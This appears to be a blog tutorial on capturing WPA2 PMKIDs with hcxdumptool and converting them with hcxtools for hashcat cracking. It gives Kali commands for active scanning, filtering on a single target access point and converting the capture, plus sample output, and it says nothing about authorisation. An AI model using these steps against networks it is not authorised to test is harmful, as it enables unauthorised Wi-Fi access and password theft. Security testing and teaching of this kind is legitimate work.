Skip to content
HackIndex logo

HackIndex

PMKID Capture with hcxdumptool and hcxtools

3 min read Jul 11, 2026

PMKID capture with hcxdumptool is the fastest way to attack WPA2. First, the AP builds a PMKID from the PMK, the AP MAC, and the client MAC. Then it puts that PMKID in the first EAPOL frame. So you grab it from the AP alone. You never wait for a client. Also, you never force one to connect. In fact, hcxdumptool sends one request and reads the reply.

However, this works only on WPA2 Personal. WPA3 SAE does not expose PMKIDs this way. So WPA3 resists this path.

Install hcxdumptool and hcxtools

First, grab both tools from the Kali repos:

┌──(kali㉿kali)-[~]
└─$ apt update && apt install -y hcxdumptool hcxtools

Stop Interfering Services

hcxdumptool drives the interface on its own. So no other process may hold it. First, stop NetworkManager and wpa_supplicant:

┌──(kali㉿kali)-[~]
└─$ systemctl stop NetworkManager wpa_supplicant

PMKID Capture with hcxdumptool

Next, hcxdumptool sets monitor mode itself. So pass the interface in managed mode:

┌──(kali㉿kali)-[~]
└─$ hcxdumptool -i wlan0 -o capture.pcapng --active-scan

The --active-scan flag pokes nearby APs. So it triggers the PMKID frame. Without it, hcxdumptool only listens. Then it may miss APs that hide the PMKID. Therefore, run it for 60 seconds. That way it covers every channel.

Target a Single AP

Also, you can limit the capture to one AP. First, write the BSSID to a filter file. Then drop the colons:

┌──(kali㉿kali)-[~]
└─$ echo AABBCCDDEEFF > filter.txt
┌──(kali㉿kali)-[~]
└─$ hcxdumptool -i wlan0 -o capture.pcapng --active-scan --filterlist_ap=filter.txt --filtermode=2

The --filtermode=2 flag locks hcxdumptool to your list. So it cuts noise. Also, it avoids poking other APs.

Convert the Capture for Hashcat

Next, hcxtools turns the pcapng into hashcat 22000 format. So one type holds both PMKIDs and handshakes:

┌──(kali㉿kali)-[~]
└─$ hcxpcapngtool -o hash.hc22000 capture.pcapng 
summary capture file:
  packets captured:        847
  PMKID (zeroed, usable):   3
  EAPOL (pairs, usable):    1

The summary shows two useful counts:

  • PMKID (zeroed, usable). The number of crackable PMKIDs.

  • EAPOL (pairs, usable). Any full handshakes in the capture.

Both land in one file. Also, a single hashcat command cracks both. However, a zero count means no luck. Then the AP may block PMKID roaming. So fall back to the 4-way handshake capture instead.

Verify the Hash File

┌──(kali㉿kali)-[~]
└─$ cat hash.hc22000 
WPA*01*4d4fe7aac3a2cecab195321ccd5542...*aabbccddeeff*...*TargetNetwork*

Lines with WPA*01* hold PMKIDs. Lines with WPA*02* hold EAPOL pairs. Also, hashcat cracks both with -m 22000. Finally, the SSID sits in the line as plaintext. So you confirm the right network at a glance.

Check the Capture Metadata

Also, hcxpcapngtool prints a full summary of the capture:

┌──(kali㉿kali)-[~]
└─$ hcxpcapngtool --summary capture.pcapng

The summary lists every AP it saw. For each one, it shows the PMKID or handshake and the SSID. So use it to confirm coverage first. Then move to cracking. Next, see the monitor mode guide for setup.

Related

Setting Up Monitor Mode in Kali
Blog

Setting Up Monitor Mode in Kali
Capturing the WPA 4-Way Handshake
Blog

Capturing the WPA 4-Way Handshake

References